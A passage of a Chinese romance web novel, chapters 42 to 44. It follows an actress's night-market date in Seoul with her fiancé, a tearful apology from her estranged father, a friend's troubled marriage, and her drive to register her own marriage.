孟秦书坐不住了,拿了被她丢在被面上的手机,爬下床走至飘窗前给霍清辞打去电话。
落地窗上清晰照出她的上半身,孟秦书垂眸盯着手机屏幕,打了三通电话,霍清辞那边照旧不接。
电视里施漾早已下台十分钟,镜头扫过台下也没看到两人身影。
视线自电视上移回手机屏上,在孟秦书准备拨第四通电话的时候,霍清辞的电话回过来。
孟秦书放到耳边,霍清辞在那头好脾气地开解她,“小书,一次错失奖杯,我们还有下一次。”
霍清辞那边出奇的静,像是在车里,孟秦书正想回他,我不是因为这个原因,霍清辞再度开口。
“小书,你手术那天我没去希望你不要生气,是我想到,你和你男朋友好好的在一块,我总参与进来也不合适,靳子煜会有意见你说对不对?”
“哥,子煜他不会这么想的。”
听到有提到他,床上的靳子煜偏了偏头,看了眼窗前的孟秦书。
霍清辞短暂笑了声,“小书你不懂男人,想得太简单。”
“哥,你和嫂子—”孟秦书没被他的话带跑,仍想问。
却被他打断。
“到头了。”
短短三个字掷地有声。
孟秦书心脏咯噔一下,霍清辞却轻笑道,“小书,你确定还想继续打探我的私事?”
孟秦书来回踱步,方寸有些乱,“我没有这个意思,只是……只是,你别和施漾在一起。”
说完她觉得自己这句话很不对,这是赞成他出轨,还鼓励他和别的女人在一起?“
“呵呵……”
霍清辞笑声爽朗,笑了会儿道,“小书,哥哥永远会保护你这句话,只要我在一天,永远不会作废……其他事我希望你不要管。”
已到嘴边的话,因霍清辞这句话被堵的不上不下。
*
那年初夏,满眼翠色的棉川大草原。
茵茵绿意绵延无尽,风起时,草浪轻轻摇曳,极目远眺,尽是生机盎然。
马蹄声清脆,唐蔓勒缰绳掉转马匹方向,朝那声音望去。
男人身上的白衬衣,因他驰骋的姿势,背部的布料被风吹得鼓起大包,墨黑的额发因风向上掀,露出他英挺俊朗的五官,如凛冽寒星,眼尾上挑,恣意张扬,阳刚之气四溢。
八月前,她任性地在霍清辞面前玩了一次跳海,设想是如果霍清辞跳下来救她,她就以救命之恩顺势说以身相许,可结果差点玩脱。
那是去年十一月份,刚入冬,昼夜温差大,寒风咧咧的深夜,唐蔓站在游艇护栏前,只往回看一眼霍清辞,便翻过栏杆蒙头不顾地跳入大海中。
霍清辞不是个见死不救的人,如她所愿的,跟着她一块跳下,救了她,只是海水压力大、阻力强,两人差点没游上岸。
而之后霍清辞也因救她,当晚发起了高烧,这事让她一直挺过意不去,想亲自跟他去道歉,他却像是故意躲着她,之后很多次的私人聚会,都不见他的身影。
最后一次见面是在T大的校运会现场,唐蔓开了四百多公里路专程去找霍清辞,是想向他坦白自己实际上会游泳这件事,可他却没听她任何解释,直接抛出一句警告意味十足的话,“唐蔓,以后不要在和我玩那种游戏,没有下次。”
正是这句话,让她知道跟他没戏。
唐蔓没想到时隔半年还能再见到霍清辞。
是偶遇。
对于能在两千公里的大草原遇到她,霍清辞也是很意外,他拉住缰绳,控制马匹走到她面前,两人客套聊几句。
聊天中得知,彼此都不是只身一人来游玩,唐蔓正想说一起跑,老远听见“哒—哒
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—哒”接近的马蹄声。
“唐蔓!”
姚宇大声叫她,高昂的嗓音盖过马蹄声、风声,在天地间回荡。
三人决定比赛一场,她一个女人家非要掺在两大老爷们之间。
姚宇不客气,一抽马鞭驾着骏马扬长而去,他过了一个小山坡很快变成一个点消失不见。
霍清辞双脚踩着马镫,没有要走的意思,唐蔓看得出霍清辞不想欺负她一个女人,是让她先行。
唐蔓七岁练习骑射,她操控马匹的本领不比男人差,她紧跟住霍清辞,他提速她也提速,他慢下来她跟着降速,霍清辞时不时瞥她一眼,那副但笑而无语的表情,是为了甩不掉她而烦恼。
两人爬到一个很高的山坡上,意外在这个时候降临,碧蓝的天空上,一只翱翔的草原雕忽然掉转头朝着唐蔓俯冲而来,唐蔓亲眼所见,骤然睁大双眼。
电光火石间,一只手握住她的胳膊,强大、强势的一股力量,强行将她从身下的马匹拉到另一匹马上。
唐蔓的腹部重重撞在骏马凸起的脊椎骨上,她如同一根两头各自绑了一个麻袋的绳子,挂在马背上面。
“嘶——”马匹长啸。
来自她骑的这匹马。
错乱无章的马蹄声,往远处狂奔而去。
草原雕不是来攻击她,而是攻击马匹,马匹受到惊吓会暴走,受惊的马匹很难控制住,她会被甩下马,甚至会被踩踏。
无疑,霍清辞又救了她一次。
唐蔓是个给点阳光就灿烂的人,更何况这点阳光还是霍清辞给的,她那颗被压在五指山下的心,顷刻间破石而出。
回去的路上,唐蔓坐在霍清辞背后,双手按在马背上,老汉散步似的行走速度,但她希望再慢点,再慢一点。
幽幽草香,迎面拂来,邀阳作伴,大草原的风,刮起两人的衣衫,山坡微微起伏,唐蔓没稳住上身摇晃了一下,她胆战心惊地抬起双手轻攥住霍清辞背部的衬衫,他上身僵了一僵,倒也没冷言厉色地勒令她放手。
唐蔓垂眸间,从被她拉起的衣摆下看到他紧致性感的腰线,强劲结实的力量感。
只是——
唐蔓还发现他左侧腰有一条暗粉色凸起的疤痕,有七八公分长度,从腹前一直到后腰。
冷言冷语被微风吹到她耳朵里,“看够了吗?”
霍清辞后背好像长了眼睛,唐蔓眨了眨眼,替他把背后的衬衫铺平,这次只拽他一点点衣摆下角。
想到霍清辞三番四次拒绝自己,唐蔓脑大脑中冒出一个不成熟的念头,她赶在快抵达目的地前向他提问,“霍清辞,你腰上怎么受伤的?”
明知道霍清辞未必理会她。
可出乎意料地是,霍清辞竟正正经经地回答她这个问题,“五年前,我看上一个白人女人,那个女人长得很美,只是她有个男朋友,但我偏要和他争一争,结果被他给捅了。”
放荡不羁、游戏人间、不受道德约束,这是唐蔓从他这句话里听出的,他想让她知道的信息。
霍清辞很会骗人。
大清早唐蔓接到三通电话,两通电话分别是来自父母,一通是她的姑姑,他们都来问她昨天霍清辞和女明星的事,母亲更是让她直接离婚。
唐蔓五指插/入发缝里,掀开挡人视线的头发。
什么离婚,都没结婚,哪来的离婚。
不过——
闹得满城风雨,霍清辞的目的达到了。
42. 项链
在韩国的第七天,深更半夜,孟秦书和靳子煜跑出酒店,打车来到东大门夜市。
即使已经凌晨一点,整片夜市区域,依然人来人往,小吃摊、纪念品摊、游戏摊,摆满街头巷尾,炸年糕、烤肉、炸鱼饼等各种美食香气扑鼻,让人垂涎欲滴。
店门外竖起的起的店招牌,白的、红的、蓝的、霓虹灯闪烁交替,璀璨灯火映照在人们欢声笑语的脸庞上。
孟秦书走到一个炒年糕小摊点了一份炒年糕,在其身旁的靳子煜掏出大衣口袋里的钱包,取出韩币买单。
这是两人重逢以来第一次外出逛街,孟秦书没戴口罩也没戴假发,只有颧骨上这块不大不小的医用纱布。
只是——
孟秦书万万没想到,这里会有这么多人,一路走来她听到男女老少不同口音的中国话,有一分钟时间孟秦书是有所担心的,但想到今天是他们时隔多年的约会,孟秦书决定抛开忧思情绪,好好玩一场。
小吃车老板娘双手递出装在盒子里的炒年糕,孟秦书抽出挽靳子煜手臂的手,一手接住盒子,一手拿透明塑料叉子,插起一条裹满红色酱汁的年糕条,送到靳子煜嘴边。
零下五度的天气,食物一出锅,热气腾散,带走食物本身的温度,靳子煜张嘴一口含进去,细细嚼碎,再将其咽下。
孟秦书自己也品尝一口,酸辣甜香,丰富口味层次感在味蕾间流淌。
走走逛逛,有时遇到某些小摊前拥挤的人堆,还需侧身缓行,多数时候两人都是一个在前一个跟在后,手里捧着美食的孟秦书,总是一步三回头的等靳子煜跟上来。
华灯之下,女人明媚生动的脸笑靥如花。
靳子煜呼出一口白色热气,加紧步伐,可不能把她给跟丢了。
快到街尾,孟秦书在一家饰品铺子前停了下来,铺子旁边有个垃圾桶,她把手里所剩不多的食物扔进垃圾桶。
孟秦书看中左面板墙上一条深咖色围巾,她手指围巾,老板当即明了拿下来,并做了个八的手语,意为八千韩元。
靳子煜掏钱包要给她付钱,孟秦书拦了拦,掏出自己羽绒服口袋里粉色小钱包,取出四张纸币递给店老板,老板收了钱,拿下围巾要给她装袋,孟秦书摇了摇手,伸出手张开手示意直接给她。
拿到新买的围巾,孟秦书没有立即走,而是半转身面向靳子煜。
他今天没穿高领毛衣,黑色长款羽绒服,内搭了一件浅驼色圆领毛绒衫,整节脖子露在外头,孟秦书上前半步,靳子煜知道她要做什么,垂眸带笑凝视她。
围巾在他脖子上绕圈,孟秦书冰凉的指尖不时碰触到他温热的下颌,绕弯两圈,然后其中一边从里向外绕过结伸出来,是很基础的围巾系法。
“暖和吗?”孟秦书问。
靳子煜眼眸柔软又深情,“暖和。”
街尾本就没什么人,这两人又是靠边侧站,不影响路人通行,一白一黑的穿搭适配度极高,杵那儿像T台上的模特,即使两人一个脸部受伤,一个腿脚不好,但店老板觉得这对情侣好养眼。
身处闹市之中,喧嚷的环境成了打了高斯模糊的背景,他们如同独立出来图层,鲜明生动。
店老板拿出手机,只是单纯的想给他们拍张照。
男人留意到了他的行为,他抬起双手,手杖垂直在女人身体前,扣住女人两边肩头,保护似的动作轻而柔和地将她拨转。
两人似心意相通,在他快门声落下前,女人很配合的转过去,“咔擦”他拍到了男人的背面,那是纵使臃肿羽绒服都掩不住的颀长笔直身姿。
而一切只是转睫间。
听见快门声,孟秦书明白了靳子煜这番动作的用意。
靳子煜放下在她肩头的手,手杖重落地面,孟秦书眼睛一瞬不眨地盯着他,眼里璀璨的灯火恍若天空中一颗颗亮星。
而她眼里的星光终究渡进了他眼中,澄净的眼眸之中柔情似水,他唇角渐渐起了丝丝笑意。
哪怕脑子转的在慢,老板也看出这对情侣不喜欢被拍,他脸色略尴尬的垂下拿着手机的手,正凑巧有顾客上门,他连忙去招呼顾客。
“小书,我们走吧。”
孟秦书嗯声,靳子煜转身走在前,她跟上去,攥住他的半个手掌。
修长有力的五指内收,裹住女人白嫩细滑的手,力度不大不小,掌心的温度仿佛低压电流通过整条手臂到达她的心底深处。
出租车开到酒店已是凌晨三点,景观灯分布酒店门前的庭院花园,倒也不觉得黑暗。
那两人自车上一前一后下来,男人站在原地,向后方的女人递出手,女人握住他的手掌,走至与他平行,然后两人步调一致的往前走。
三层俯看下去理应是看不到面部细节的,但女人明媚的笑颜无比鲜活。
男人在上台阶时崴了一下脚,上半身往前倾,女人及时伸出左手臂挡在他胸膛前,助他稳住下跌的身躯。
比出去前举止更为亲密,照顾的如此无微不至,两人是恋人还是夫妻?
黑沉沉的房间内,暗中观察的人坐回椅子上,此人拿起桌上与车同品牌的红色打火机,另只手两指夹住横在烟灰缸上的那根香烟,抬到一定高度,五指弯曲手心朝上,烟头对准打火机喷出的的幽蓝色火苗。
袅袅青烟向四周扩散,指尖燃着猩红的光,仿佛被乌云遮挡只露一个点的红日。
*
翌日,孟秦书醒来,已经是早上九点,靳子煜不在房内,是出去买早餐了,这几天无论是在医院还是在酒店,早餐都由他负责。
遥控器控制窗帘一键打开,外面天光大亮,金灿灿的光线洒入静谧的房间内,点亮每一处,日光轻抚每一处。
今天是个艳阳高照的好天气。
孟秦书在窗前做了个伸懒腰的动作,眼尾余光瞥见,旁边贵妃塌上铺着靳子煜昨晚穿的羽绒服。
孟秦书俯身双手拿住羽绒服肩线位置提起来,她抖了一下衣服,再往衣柜方向走。
衣柜里有一只二十四寸的大号行李箱,孟秦书要把这件羽绒服放进去,因为今天下午三点,他们要一起回国。
孟秦书把羽绒服挂在墙角的挂衣架上,走去一旁打开衣柜门,底层有一只纯黑色高档行李箱,她攥住行李箱手柄,后槽牙一使劲,沉重的箱行子被她提到了衣柜外面。
她先把行李箱放倒,拉开顺滑的拉链,摊开一半箱子,里面无论小件还是大件都归置的整整齐齐,再把挂衣架上的羽绒服拿下来,铺在箱子上,袖子对袖子折叠好,就在她往里塞时,羽绒服口袋里掉出一个方形浅黄色绒布盒子。
盒子在地上滚了两圈,滚回到她脚底下。
孟秦书捡起来,摊开掌心,注视着掌心中的它。
盒子有她的一个巴掌大小,绒布上洒了一层薄薄的金粉,上面有品牌LoGo。
LA&Y
国内外有很多独立设计师的首饰品牌,孟秦书不知这个牌子,但此时此刻,她感受到自己的那颗心脏在胸腔里怦怦怦加速,如同有只小鹿在乱跑乱跳。
孟秦书一手把着盒子底部,一手开盒盖。
玫瑰金挂链中间吊着一颗四叶草挂饰,四叶草中心嵌进去一颗一两克拉大小的钻石,钻石切面反射出夺目的光彩。<
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p>孟秦书带过不少珠宝首饰,都是珠宝商赞助或是代言的品牌,不乏鸽子蛋大小的钻饰,但与她而言这些都是别人的东西,她不过是‘展示台’,她对它们没兴趣。
而它不一样。
她喜欢且心动。
孟秦书眉梢显露欢喜,关起首饰盒,塞回衣服口袋里。
与靳子煜在一起的那三年,他们和普通男女一样,一到各种节日互赠过不少东西,便宜的、贵的,小到几十大到几千,手机、篮球、耳机、裙子等等,不胜枚举。
有些东西坏了、有些丢了,有些保存至今只因为它们意义非凡。
她想这条项链一定也有别样意义,不知靳子煜是国内买了带来的,还是韩国买的,总之一定是送给她的,难道是要赠她的结婚礼物?
“咚咚。”敲门声。
是靳子煜回来了。
孟秦书关上行李箱,拉起拉链,步伐轻快地上去开门。
打开门,穿黑色大衣的靳子煜笔直的站在门口,他脖子上还围着昨天她送给他的围巾,左手拎着带回来的早餐。
黑亮的眼眸里盈满温柔。
“子煜。”孟秦书带着门一块往后退,让出足够的空间方便他进门。
进门脚步一顿,靳子煜垂下眼帘,看到地上的行李箱。
孟秦书关上门,面向他,愉悦道,“子煜,你的羽绒服我替你装进行李箱了。”
靳子煜浅抿唇,收起手杖把它往玄关柜一放,一只手扶柜门,弯腰拿了鞋柜上的拖鞋扔在脚边,他换上拖鞋,绕开行李箱,脱掉身上的大衣,取掉围巾一并挂在衣架弯钩上。
靳子煜径直往里走,孟秦书没跟过去而是进卫生间去做简单洗漱。
孟秦书回来拉开椅子坐靳子煜对面,桌上摆了一份装在打包盒里的三明治和一杯纸杯装热牛奶。
孟秦书愣怔下,“子煜,你在外面吃了?”
平时他都会陪她一快吃。
今天是太饿了,直接在外面吃好了回来的?
靳子煜嗯了一声,只是声音低微的还没蚊子声音响。
孟秦书是真饿了,她这个人饿得时候吃东西一点儿都不斯文,但往往吃两口就会饱。
放下剩余一半的三明治,孟秦书抽了两张纸巾擦拭嘴巴,但手指仍黏黏腻腻,她只好跑进卫生间去洗手。
卫生间出来,孟秦书边往回走边说,“子煜,我想今晚不去你那边住了,我需要去趟医院,可能很晚回家,也可能不回。”
桌上她吃剩的早餐,靳子煜以收拾好,装进打包带里。
靳子煜在椅子上扭身过来看着她,答应说,“好。”
孟秦书站他面前,俯身下来,双手放在靳子煜肩上,伴着她的这个动作,细腻光滑的长发如丝绸垂下来,她的秀眉不自觉地收紧,关心地问,“子煜还很困是不是?”
他们凌晨三点多才回得酒店,靳子煜又早起,没睡几个小时。
靳子煜仰看她,两人凑的太近,他点漆的瞳孔里已装不下她。
孟秦书兀自道,“我自己去医院拆线吧,你在酒店再睡几个小时。”
抬起的手轻放在她脸上这层纱布上,靳子煜关怀地问,“小书,还疼吗?”
说不上哪里不对,不知道是不是他半个身体沐浴在阳光下的关系,使得他整个人看着有些微恍惚。
“我一点儿都不疼,你快去睡觉,我回来叫你起来。”
孟秦书轻巧挺身,不带耽搁往前走,她是要去衣柜那边换衣服出门,可突然,她的小臂被身后的靳子煜握住。
靳子煜说:“小书,我不困,我陪你一起。”
43. 对不起
今天大年三十在一月三十日,孟秦书今年的工作已完毕,但登机前,芳姐给她发来信息,询问她愿不愿意参加年三十的海城春晚,孟秦书自拍了一张照片发给芳姐。
才拆线,她脸上还有比肤色深一点的针脚,虽不仔细看,看不大出来,但逃不过没有一点美颜和滤镜的高清摄像机。
芳姐发了个OK表情,过了一分钟,芳姐又给她发了一长段语音。
芳姐:南寒,你前两天发给我的人物小传我已经帮你发给孙导了,就在今天中午,孙导给我回复了,他说你能够认走进角色内心,认真揣摩研究人物内心,你对演戏的敬业和信念感让他佩服,孙导的意思年初八,私下见个面,就剧里何钿姊这个人物角色想跟你再做个详谈。
商务休息室只有她和靳子煜两个人,芳姐声音尖细,即使孟秦书把音量降到一半,听筒里的声音,还是传进了旁边皮座椅上的靳子煜耳朵里,他往她脸上看了一眼。
《言商》是一部以清代盐商为时代背景的创业剧,孙导口中的何钿姊是女主,是贯穿整部剧的灵魂人物,比男主存在感都强大,是一部彻头彻尾的大女主戏。
只是女主何钿姊自小命运多舛,自幼身体孱弱,被养在闺阁之中,捱到及笄之年家中又横生变故,全家被灭门只留她一人,为将来报血海深仇,她苟且偷生。
可有一日,在她终于以为自己大仇得报的那天却被最信任的好友背刺,为留性命以后好谋算,女主躲进了尼姑庵,剃度出家。
在这里她再遇曾经欣赏她、爱慕她的商人男主,在男主的提携和她自己的聪慧、机敏下,一路逆袭,最终将仇人绳之以法,而她自己也成了富甲一方的大盐商。
剧本读完,孟秦书很欣赏女主身上的聪明机智、精明算计,但她的算计是只对外的,即使挫折不断,但她仍然坚守心里的善良和正义,在那个年代下具有有独立女性的魅力。
于是有感而发的她,在手机记事本里编辑了近二千字的人物小传发送给芳姐。
孙导是电视剧正剧圈的名牌导演,很难想象这位导演还有一大帮死忠粉,可以说一部剧出现他的姓名,很多剧迷完全不看演员是哪些人,安安心心的闭眼入。
所以很多演员以能出演他导演的剧为荣,因为只要出演他的剧,能被他赏识,基本上一只脚跨进了正剧圈,而且这位导演早几年,几乎上不用流量明星,也就近两年开始偶尔在剧里放入一个两个流量。
听芳姐说这部剧很多常年拍正剧的大花旦、青衣女演员都在争何钿姊这个女主角。
孟秦书自觉她一个流量花,想取得这个重要性角色,大概只能在梦里。
芳姐又说,她为挑出这个剧本也是抱着试试看的态度,如果有机会去试戏,换得导演深刻印象,说不定以后哪部剧有合适她的角色,会优先考虑她。
*
到达国内,已经是下午六点,孟秦书和靳子煜在机场分开。
海城是个不夜城,高楼鳞次栉比,望不见尽头的路灯、闪烁的车灯交织在一起,灯火辉煌,交相辉映,永不落幕。
孟秦书把小杨放在她租住的小区大门外,而她驾驶汽车去往市一医院。
医院晚上除了住院的病人还有少数一些家属,像孟坤所在的楼层几乎都是重症,无论是病人,亦或是陪护家属每个人的心情都是沉重的,自是没人会在意、关注什么明星。
孟秦书出现在病房门口,一眼看见孟坤正靠在枕头上睡觉,他两只手放在被面外面,看上去比一个礼拜前气色有好转,但瘦了好些,脸颊的肉都有些往下凹。
只能吃流食而且还不可以吃多,对活人来说是种折磨。
那位在沙发后面陪护床上坐着刷手机的男护工,看到门口的她,赶忙放下手里的手机站起来。
他想叫她孟小姐,孟秦书食指放在唇前,做的是禁声的手势。
听到她的进来的脚步声,床上的孟坤颤了颤眼皮之后睁开眼睛,见是她,清明的眼里划过一道诧异,然后神情慢慢严肃起来。
房内的护工,看出他们有事情要商谈,有眼力见的径直离开病房。
孟秦书站到床边,拉来身后的靠背椅坐下来,叠起双腿,语速平缓,嗓音清清冷冷地道:“孟媛应该和你说过了,她陪了你近半个月,明天要去上班,所以我让她今晚回去了,晚上我会在这里。”
在孟秦书说这句话时,孟坤的两片唇频繁蠕动几下,孟秦书停了停,是看他有什么话要说,既然没有那她接着说:“孟媛离婚后租住的房子只有五六十平,而且是在只有步梯的五楼上,你现在的身体情况已不适合再去精神病院,我的想法是给你在外面租一套房,再给你安排一位护工,操持你平时的起居,如果你想让孟媛陪你,你可以自己和她商量让她来跟你一块住。”
在医院这些天,孟坤有天看电视,在电视里看到了孟秦书,原来她现在去做演员了,听孟媛说,还是大明星,孟坤着实想不到,孟秦书会走这条路。
一个自幼不喜人群的人却走到人群里,还成了万众瞩目的大明星。
孟媛还跟他说孟秦书出国是去治脸,是治疗被他砸出来的伤。
就在孟秦书出国前一天,当时刚清醒的他,有看到孟秦书脸上五六公分的淡粉色伤痕,刚才孟秦书往他这里走过来时,咋一看她脸上干干净净,等到她坐到面前,他才看出颧骨上几个小针眼。
多年后的第一次见面,他打伤了这个,他认为的无情无义的‘不孝女’。
而他却忘了,当年他差点害死这个孩子,她该恨他的。
孟媛却告诉他,这孩子却在他生死一刻时,让医生保他的命,现在还要给他陪夜,不仅如此,还为他计划出院后的事宜。
孟坤不发表任何看法,等了会儿,孟秦书当他是默认了,正要起身,却听见孟坤叫了她一声,“小书。”
声音微弱艰难。
对孟坤来说是艰难的,他已经七年多没叫过孟秦书。
孟秦书一怔,坐回去,侧转脸看着孟坤。
早在孟坤昏迷那些天,孟秦书有仔细过他,如今的他黑发中掺了一半白发,额头上三道很深的额头纹,眼袋也往下耸拉,生病的关系,更是老态尽显。
七年前孟坤五十三岁,他不像很多老总那样大腹便便,他还有股文人气质,是为儒雅的器宇轩昂的中老年人。
与宋珍珠的七年相比,孟坤真的急转直下的变老。
“小书,你不用留下来,这里有护工。”孟坤慢声说。
孟秦书对他的话不予理睬,回正脖子又要起身,然而,孟坤再次叫住她。
“孩子!”
孟秦书维持不动。
握拳的双手,紧了松,紧了松,多次后孟坤道:“砸伤你的脸,这件事,我和你道个歉。”
他微张嘴吸了口气,说:“对不起,孩子。”
孟秦书的身子几不可察地微微发抖。
“当年那件事,事先我们都不知道楚彬是这样的人,我确实有错,孩子
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,对不起。”
孟秦书湿润的眼睫持续在颤,右手手指无意识地揪着身上的大衣一角。
“我说这些不是想让你原谅我这个父....这个人。你曾经说我利用你,我承认,我去福利院的目的不纯,千挑万选把你选出来,是为了自己,我是个把名利看得比命还重的人,女儿不过是我成功路上的工具,不止是你,孟媛也是,但像我这样的人,却有……这么好的女儿。”
长叹一口气,孟坤继续说没说完的话,“孩子,即使时至今日,有一件事我始终不觉得自己做错,阻止你和那个男孩。你一个各方面出众、四肢健全的人,怎么能嫁给一个残疾人。”
“我听孟媛说他现在在大学教书还是科研人员,但在我眼里,他还是差远了。孩子有句话叫人之将死……我自是知道我再也阻止不了你们,这.....算是临终前的的一点心声,你可以选择充耳不闻。”
蓦地,孟秦书转脸正视孟坤,看到却是从前向来说一不二的人,泛红的眼,湿润的眼角。
孟秦书心脏狠狠抽了一下,情绪激动地驳斥他:“他叫靳子煜,我马上要和他领证,我还会和他办婚礼,我要你亲眼见证,要你终有一天反省对他的偏见和认识到自己的错误!”
一行泪自孟秦书眼窝里涌出,在她脸上留下长长的泪痕,泪珠滴到被面上,留下两颗灰色不规则印记。
孟秦书下意识地别过头。
泪水越来越多,淌满整张脸。
*
由于孟媛上班,第二天孟坤出院的事,只能孟秦书去办理,她把自己乔装打扮到真爱粉都不认识的程度,火速办理完出院手续。
孟坤可以独立行走,只是身上有刀口,再加上没有好好吃东西,孟坤走几步就需停下来休息,而且脸色也愈来愈难看。
孟秦书看不过去,只好去馋着他的手臂陪他一块走,跟在他们身后的那名她雇回去照顾孟坤的男护工,拎着两大袋生活用品,与他们同步慢慢走。
红色轿跑开到‘汇悦台’,孟秦书把车停到地下停车场,可以直接坐电梯上楼。
孟秦书给孟坤租的房子在她这栋楼十六楼,在她楼上,之所以选在这里,她的想法是住的近,免了自己两地来回跑的麻烦。
只是在这之前要请孟坤去她房子里暂等一会儿,因为她昨晚临时联系的物业管家,这套房现在还没整理出来,等处理好物业管家会给她发信息。
进了家门,孟秦书没让他们换鞋子,自己也没换鞋,她先扶着孟坤坐到沙发上后,然后她进厨房间去烧开水。
有些天没回来了,台面上竟起了一层薄薄的灰尘,孟秦书抽了两张厨房湿巾,擦拭台面。
客厅里,孟坤双手握拳放在膝盖上端坐,目色凝重,护工来到传闻中的顶级高奢住宅,像刘姥姥来到了大观园,举目四顾,看得那叫一个目不暇接。
如果不是有主人在家雇工都想拿出手机拍两张照片,发给家里人跟他们一块分享。
室内太过寂静,连手机的震动声都清晰入耳。
厨房内的孟秦书掏出外套口袋里的手机,期望会是靳子煜发来的微信。
毕竟他从昨晚到今天中午一条信息、一个电话都没给她打。
理应该打来了。
只是想不到,会是很少给她发信息的姚宇的信息,她划开屏幕。
姚宇【小书,知道阿辞在哪里吗?】
孟秦书正要给他回复,姚宇像是等不及了,一个电话打了进来。
44. 消失
茶几上余量还有四分之一的红酒杯,杯口的酒渍挂着杯壁往下淌。
斜倚在沙发上的男人,长臂一挥,打掉这只酒杯,酒杯飞出去撞在白色墙面上。
“砰!”
巨响伴随着四分五裂,玻璃碎片四溅。
墙面上留下红色痕迹,他怎么看怎么觉得像,爱德华.蒙克的那幅名作《呐喊》。
“我跟我爸妈坦白了,当年我一意孤行闹出来的闹剧,他们现在命令我赶紧回家,阿辞,你的目的达到了。”
“阿辞,没有这八年我也未必会在三十四岁前结婚,还记得我曾经和你说的话吗?我上面还有二位哥哥,唐家不需要我一个女人去考虑传宗接代。”
“当了八年的霍太太……是我这辈子都不会忘记的愉快经历,阿辞,还能是朋友的对不对?”
唐小姐是个性情洒脱无拘、泼辣勇敢的女人,却在他面前哭成泪人。
男人右边嘴角挑起一个似觉得对方可笑又类似自嘲的笑。
“对!当年是我们合谋,但后来呢,后来你不也默认唐蔓在你身边,阿辞,你的心是铜墙铁壁做的吗?八年顽石都能点头了!”
“你—你真混蛋!”
姚宇照着他的左脸给了他一拳,而他趔趄后退,撞到沙发滑倒在地上。
“姚宇!!”
唐蔓惊叫拦住姚宇。
霍清辞挺身坐起来,眼角撩到被他随手扔在茶几上被他关机的手机,他探身过去,拿来手机,长按开机键,屏幕亮起,还没跳到主菜单界面,手机在手里震个不停。
无数未接电话以及短信如同潮水涌进来。
昨晚,在得知他在国内做的混账事,姚宇专门从国外赶回来替唐蔓打打抱不平,怒斥完他,姚宇还不觉解气,一拳头把他打进了医院。
呵。
平静没多久的手机,响起电话铃声,霍清辞盯着来电显示的“小书”,按在屏幕上的指节一根根收紧。
或许只是凑巧,他心说。
霍清辞摁了接听健。
“哥,你在哪里?宇哥在找你。”
从孟秦书的口气中霍清辞判定她不知道多少事情,他吭哧轻笑,慵懒回话,“我在海边别墅,昨晚夜色很美,来这里赏月。”
“海边?赏月?那你也不能不接姚宇电话啊,他很担心你。”
有电话进来,霍清辞对孟秦书说,“小书,姚宇电话进来了,先不和你说了。”
半小时后,姚宇和唐蔓赶到这里。
霍清辞给他们开的门。
额发塌下来半遮半掩住他的一半眉弓,其中还掺着两三根银白的发丝,苍白的脸色如雾,只有那一拳在颧骨位置留下的浅红色伤痕,那双向来自信锋锐的眼睛,疲倦黯淡如黑暗深处孤立的一棵树。
被姚宇知道自己身体状况后,憔悴的面容,昏昏的眼神,霍清辞已不再对他遮掩。
他们昨天才见过,但姚宇依然会被颓丧虚弱的霍清辞刺痛眼睛,他心里起伏翻腾,泪意跟着涌上眼,他不知道阿辞病的这么重,昨天还打了他。
*
安顿好孟坤,孟秦书回楼下去睡觉,她一觉睡到下午三点,当她醒来如期待的收到了靳子煜的信息。
淡述【小书,我回T市了,明天会回来。小书你想好了吗?我们明天去民政局办理结婚证,如果......你现在反悔还来得及。】
当然愿意,她一千一百个愿意。
孟秦书心里欢呼雀跃,一下坐起来,捋开碍眼的长发,马上敲字回复。
MQS【子煜,明天几点?】
不知道靳子煜是不是手里有别的事,隔了良久才回。
淡述【明天上午九点】
MQS【OK】
放下手机,孟秦书双手捧着脸颊,她很清晰的感受到里面烧了起来。
马上她要成为——
靳太太了!
孟秦书侧歪倒,脑袋枕在软绵绵的枕头上,她抽出一个枕头抱在怀里,即将嫁人的喜悦和兴奋让她忘乎所以的在床上翻来滚去。
像个疯婆子。
孟秦书急于分享这种喜悦,她没什么朋友,但她有姚宇和霍清辞两个哥哥,她给他们分别发去信息,很快收到他们的回复。
姚宇【你就这么把自己嫁了?彩礼呢?太便宜那小子了。】
霍清辞【恭喜。】
姚宇再发来一条【不行,哥哥不同意,明天我一定来民政局门口拦截这小子,他不拿出点诚意来,我坚决不同意!】
孟秦书心里乐开了花,翻身趴在床上,双臂支起上半身,快速打出四个字回复姚宇【不许乱来。】
姚宇直接电话打过来。
嗤之以鼻道,“小书,哥哥告诉你,那次我们一块出游,我就看不惯这个靳....靳什么的,不过是个大学教授,年收入才几十万,端什么架子。”
“姚宇!”
听筒里传出霍清辞暗含薄怒的一声。
原来他们在一起。
姚宇没被干扰接着絮叨“小书,你的女神范呢,那个混小子能娶到你是祖上冒青烟的事,该提要求尽管提,你不好意思我来给你提,明天过不了我这关,休想把你娶回家!”
孟秦书张开口正要说“不行”,姚宇插话进来,他这次说得却是霍清辞,“还有你阿辞,小书没有家人,我们就是她的家人,妹妹结婚这么大的事,你现在不参与什么时候参与?”
姚宇这句,“我们就是她的家人”让孟秦书眼窝发热,唇角无意识地抿出一丝浅笑,她小小声请求:“那....那你们温柔点。”
电话那头的两个人都笑了。
霍清辞先一步收住笑,拿了姚宇的手机对她说:“小书,明晚我和姚宇一块请你们吃个饭,祝贺你们新婚快乐。”
“前提过关。”姚宇在旁补充。
三人再聊几句,由姚宇那句“我一定来!”结尾。
挂掉电话,孟秦书拿了手机爬下床,她趿拉拖鞋往衣帽间走过去,她要去换身衣服,再上楼去把明天要和靳子煜领证的事通知孟坤。
没别的意思,只是通知而已,他的任何意见和建议,她一概不会采纳。
*
孟秦书拿了户口本和身份证,坐进车里,开车前她给靳子煜发了一条信息。
MQS【我现在出发,半个小时后到。】
孟秦书拍了拍脸颊,为了盖住昨晚失眠生成的黑眼圈和脸颊上的几个针头,她特意化了淡妆。
结婚照一辈子就这么一次,必须美美的。
然而,十分钟过去,靳子煜没有回信息过来。
可能在开车。
绑好安全带,孟秦书瞧了眼副驾驶皮椅上躺着的户口簿和身份证,嘴角不自主地上扬,如花瓣轻轻绽放。
孟秦书双手把着方向盘,身体往后靠,长舒一口气,发车,前往民政局。
今天天气实际上不怎么好,是个阴天,但由于落地窗的超高隔音性能,在家里孟秦书没听见风声。
然,汽车一开出地库,她就听见三百多万豪车都隔绝不了的北风“呜呜”的呼啸声。
犹如百兽在呼号。
路边的排列整齐的景观树被狂风吹得左倒右歪,人行道上的行人,无论男女,即使穿着羽绒服,都是缩着脖子前进。
依稀记得很多年前,也是这样的天气。
